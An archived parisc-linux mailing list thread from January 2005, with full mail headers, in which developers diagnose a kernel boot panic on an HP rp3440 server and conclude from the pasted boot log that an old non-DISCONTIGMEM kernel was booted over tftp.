  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623655 12594 80.91.229.3 (22 Nov 2014 02:34:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jan 2005 14:43:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx043) with SMTP; 19 Jan 2005 15:43:04 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C64F93BE68; Wed, 19 Jan 2005 07:42:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19082-02; Wed, 19 Jan 2005 07:42:46 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D5B843BE75; Wed, 19 Jan 2005 07:42:28 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC6D63BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 07:42:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 18949-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 07:42:21 -0700 (MST)
Original-Received: from mail-r3.tiscali.it (griswold.tiscali.it [213.205.37.211])
	by free.linux.hp.com (Postfix) with ESMTP id 1C48B3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 07:42:20 -0700 (MST)
Original-Received: from tiscali.be (10.39.113.121)
	by mail-r3.tiscali.it with ESMTP; 19 Jan 2005 15:42:18 +0100
Original-Received: from mail-3-bnl.mail.tiscali.sys ([10.39.115.133]
	helo=mail-3-bnl.tiscali.it)
	by mrq-1.tiscalinet.it with esmtp (Exim 4.43)
	id 1CrH2G-0002ny-0W; Wed, 19 Jan 2005 15:42:18 +0100
Original-Received: from [57.67.177.33] by mail-3-bnl.tiscali.it with HTTP;
	Wed, 19 Jan 2005 15:42:14 +0100
In-Reply-To: <20050119134545.GA25940@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22305


> Subject: Re: [parisc-linux] 2.6.11-rc1-pa3 rp3440 BUG at kernel/workque=
ue.c:132
> 
> 
> On Wed, Jan 19, 2005 at 09:21:22AM +0100, Joel Soete wrote:
> > Just by curiosity: is that 4 cpus or 2 dual core?
> 
> It's two sockets, each with a dual-die processor.  I deduced this from
> the rp4440 claiming 8 processors and knowing the zx1 chipset only suppo=
rts
> 4 sockets.
> 
thanks

in fact  I was confused by the boot server message:
Booting... 
Boot IO Dependent Code (IODC) revision 3


HARD Booted.
palo ipl 1.5 root at c3k Fri May 14 16:17:38 MDT 2004
                            ^^^^^

sorry,
    Joel


-------------------------------------------------------------------------=
--
Tiscali solde! 1 mois et activation Gratuits, modem =E0 9,99=80
http://reg.tiscali.be/adsl/default.asp?lg=3DFR



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 2.6.11-rc1-pa3 rp3440 BUG at kernel/workqueue.c:132
Date: Wed, 19 Jan 2005 09:21:22 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <41DE92B500003975@mail-3-bnl.tiscali.it>
References: <20050119074927.GB3879@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623656 12595 80.91.229.3 (22 Nov 2014 02:34:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:16 +0000 (UTC)
To: "Grant Grundler" <grundler@parisc-linux.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jan 2005 08:22:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 19 Jan 2005 09:22:11 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7AE583BC80; Wed, 19 Jan 2005 01:22:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14766-06; Wed, 19 Jan 2005 01:22:08 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D9B8E3BE6D; Wed, 19 Jan 2005 01:21:34 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC9A83BE66
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 01:21:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14444-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 01:21:27 -0700 (MST)
Original-Received: from mail-r3.tiscali.it (griswold.tiscali.it [213.205.37.211])
	by free.linux.hp.com (Postfix) with ESMTP id 601C43BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 01:21:26 -0700 (MST)
Original-Received: from tiscali.be (10.39.113.122)
	by mail-r3.tiscali.it with ESMTP; 19 Jan 2005 09:21:25 +0100
Original-Received: from mail-3-bnl.mail.tiscali.sys ([10.39.115.133]
	helo=mail-3-bnl.tiscali.it)
	by mrq-2.tiscalinet.it with esmtp (Exim 4.43)
	id 1CrB5f-0002qr-MH; Wed, 19 Jan 2005 09:21:25 +0100
Original-Received: from [57.67.177.33] by mail-3-bnl.tiscali.it with HTTP;
	Wed, 19 Jan 2005 09:21:22 +0100
In-Reply-To: <20050119074927.GB3879@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22306

[...]
> Linux version 2.6.9-rc1-pa0 (jejb@gsyprf11.external.hp.com) (gcc versio=
n
> 3.0.4) #4 SMP Mon Aug 30 07:58:13 PDT 2004
What's up with 2.6.11-rc1-paX with gcc-3.3?

[...]> Enabling PDC_PAT chassis codes support.
> Releasing cpu 1 now, hpa=3Dfffffffffe781000
> FP[1] enabled: Rev 1 Model 20
> Releasing cpu 2 now, hpa=3Dfffffffffe798000
> FP[2] enabled: Rev 1 Model 20
> Releasing cpu 3 now, hpa=3Dfffffffffe799000
> FP[3] enabled: Rev 1 Model 20
> CPU(s): 4 x PA8800 (Mako) at 999.999700 MHz
Just by curiosity: is that 4 cpus or 2 dual core?

Is it booting in UP (either kernel or cpu deconfigure if possible ?)

Thnaks,
    Joel

-------------------------------------------------------------------------=
--
Tiscali solde! 1 mois et activation Gratuits, modem =E0 9,99=80
http://reg.tiscali.be/adsl/default.asp?lg=3DFR



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <andy@puszczka.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.11-rc1-pa3 rp3440 BUG at kernel/workqueue.c:132
Date: Wed, 19 Jan 2005 06:56:13 +0100 (CET)
Lines: 50
Approved: news@gmane.org
Message-ID: <28461.193.160.141.5.1106114173.squirrel@193.160.141.5>
References: <20050119074927.GB3879@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416623656 12596 80.91.229.3 (22 Nov 2014 02:34:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jan 2005 08:31:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx062) with SMTP; 19 Jan 2005 09:31:42 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9AEBC3BC80; Wed, 19 Jan 2005 01:31:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15438-06; Wed, 19 Jan 2005 01:31:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4499C3BE75; Wed, 19 Jan 2005 01:31:29 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D19F63BE72
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 01:31:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15444-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 01:31:23 -0700 (MST)
Original-Received: from bgo1smout1.broadpark.no (bgo1smout1.broadpark.no [217.13.4.94])
	by free.linux.hp.com (Postfix) with ESMTP id 682543BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 01:31:22 -0700 (MST)
Original-Received: from bgo1sminn1.broadpark.no ([217.13.4.93])
	by bgo1smout1.broadpark.no
	(Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004))
	with ESMTP id <0IAK004OW23KA080@bgo1smout1.broadpark.no> for
	parisc-linux@lists.parisc-linux.org;
	Wed, 19 Jan 2005 09:26:08 +0100 (CET)
Original-Received: from tolstoy.puszczka.com ([80.202.67.5]) by bgo1sminn1.broadpark.no
	(Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21
	2004)) with ESMTP id <0IAK002F82GP2B20@bgo1sminn1.broadpark.no> for
	parisc-linux@lists.parisc-linux.org;
	Wed, 19 Jan 2005 09:34:01 +0100 (CET)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)	id A1BCA7DEA; Wed,
	19 Jan 2005 06:56:13 +0100 (CET)
Original-Received: from 193.160.141.5 (SquirrelMail authenticated user andy)
	; by www.puszczka.com with HTTP; Wed, 19 Jan 2005 06:56:13 +0100 (CET)
In-reply-to: <20050119074927.GB3879@colo.lackof.org>
X-Mailer: SquirrelMail/1.4.3a
Importance: Normal
X-Priority: 3 (Normal)
User-Agent: SquirrelMail/1.4.3a
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22307

> System paniced at boot.
>
> The odd thing is the "more memory ranges than we support" message
> is out of place since DISCONTIGMEM is enabled.
>
> grant
>
>
> Main Menu: Enter command or menu > bo lan
> Interact with IPL (Y, N, or Cancel)?> n
>
> Booting...
> Boot IO Dependent Code (IODC) revision 3
>
>
> HARD Booted.
> palo ipl 1.5 root@c3k Fri May 14 16:17:38 MDT 2004
>
> Boot image contains:
>     0/vmlinux64 6585304 bytes @ 0xa000
>
> Command line for kernel: '0/vmlinux64 root=/dev/nfs
> nfsroot=192.168.1.61:/home/tftpboot/ion ip=dhcp console=ttyS1
> palo_kernel=0'
> Selected kernel:  from partition 0
> Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing
> 64-bit kernelELF64 executable
> Entry 00100000 first 00100000 n 3
> Segment 0 load 00100000 size 4806272 mediaptr 0x1000
> Segment 1 load 00598000 size 314792 mediaptr 0x497000
> Segment 2 load 005e8000 size 294584 mediaptr 0x4e4000
> Branching to kernel entry point 0x00100000.  If this is the last
> message you see, you may need to switch your console.  This is
> a common symptom -- search the FAQ and mailing list at parisc-linux.org
>
> Linux version 2.6.9-rc1-pa0 (jejb@gsyprf11.external.hp.com) (gcc version
> 3.0.4) #4 SMP Mon Aug 30 07:58:13 PDT 2004

Grant,
2.6.9-rc1-pa0? Doesn't seem to agree with your subject line.
Looks like tftp got hold of an old kernel.

-Andy

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.11-rc1-pa3 rp3440 BUG at kernel/workqueue.c:132
Date: Wed, 19 Jan 2005 00:35:57 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <20050119083556.GF18497@tausq.org>
References: <20050119074927.GB3879@colo.lackof.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623656 12598 80.91.229.3 (22 Nov 2014 02:34:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jan 2005 08:36:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 19 Jan 2005 09:36:22 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 443873BE77; Wed, 19 Jan 2005 01:36:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15444-07; Wed, 19 Jan 2005 01:36:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 203863BE79; Wed, 19 Jan 2005 01:36:09 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 901CA3BE75
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 01:36:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15438-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 01:36:01 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 73C6A3BE72
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 01:36:01 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 30F6F6C12E; Wed, 19 Jan 2005 00:35:57 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20050119074927.GB3879@colo.lackof.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22308

> The odd thing is the "more memory ranges than we support" message
> is out of place since DISCONTIGMEM is enabled.

are you sure you are booting the kernel you think you are booting?
because all the messages you pasted are consistent with a
non-DISCONTIGMEM kernel.

> model 9000/800/rp3440  
> This Machine has more memory ranges than we support!
> Some memory will not be used!
> parisc_cache_init: Only equivalent aliasing supported!
> Total Memory: 1024 Mb
> SMP: bootstrap CPU ID is 0
> Built 1 zonelists
^^^^^^^^^^^^^^^^^^^ <- this means not DISCONTIGMEM

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.11-rc1-pa3 rp3440 BUG at kernel/workqueue.c:132
Date: Wed, 19 Jan 2005 00:49:27 -0700
Lines: 95
Approved: news@gmane.org
Message-ID: <20050119074927.GB3879@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623657 12601 80.91.229.3 (22 Nov 2014 02:34:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jan 2005 07:50:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 19 Jan 2005 08:50:51 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0AF563BE66; Wed, 19 Jan 2005 00:50:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14448-07; Wed, 19 Jan 2005 00:50:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 385383BE68; Wed, 19 Jan 2005 00:49:34 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 428443BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 00:49:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14444-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 00:49:28 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 0EE163BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 00:49:28 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 4FB8D29800D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 00:49:28 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03980-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 00:49:27 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id EA69829800C; Wed, 19 Jan 2005 00:49:27 -0700 (MST)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22309

System paniced at boot.

The odd thing is the "more memory ranges than we support" message
is out of place since DISCONTIGMEM is enabled.

grant


Main Menu: Enter command or menu > bo lan
Interact with IPL (Y, N, or Cancel)?> n

Booting... 
Boot IO Dependent Code (IODC) revision 3


HARD Booted.
palo ipl 1.5 root@c3k Fri May 14 16:17:38 MDT 2004

Boot image contains:
    0/vmlinux64 6585304 bytes @ 0xa000

Command line for kernel: '0/vmlinux64 root=/dev/nfs nfsroot=192.168.1.61:/home/tftpboot/ion ip=dhcp console=ttyS1 palo_kernel=0'
Selected kernel:  from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing 64-bit kernelELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 4806272 mediaptr 0x1000
Segment 1 load 00598000 size 314792 mediaptr 0x497000
Segment 2 load 005e8000 size 294584 mediaptr 0x4e4000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.9-rc1-pa0 (jejb@gsyprf11.external.hp.com) (gcc version 3.0.4) #4 SMP Mon Aug 30 07:58:13 PDT 2004
FP[0] enabled: Rev 1 Model 20
The 64-bit Kernel has started...
Determining PDC firmware type: 64 bit PAT.
model 00008890 00000491 00000000 00000002 3e0505e7352af70e 100000f0 00000008 000000b2 000000b2
vers  00000301
CPUID vers 20 rev 4 (0x00000284)
capabilities 0x35
model 9000/800/rp3440  
This Machine has more memory ranges than we support!
Some memory will not be used!
parisc_cache_init: Only equivalent aliasing supported!
Total Memory: 1024 Mb
SMP: bootstrap CPU ID is 0
Built 1 zonelists
Kernel command line: 0/vmlinux64 root=/dev/nfs nfsroot=192.168.1.61:/home/tftpboot/ion ip=dhcp console=ttyS1 palo_kernel=0
PID hash table entries: 16 (order 4: 256 bytes)
Console: colour dummy device 160x64
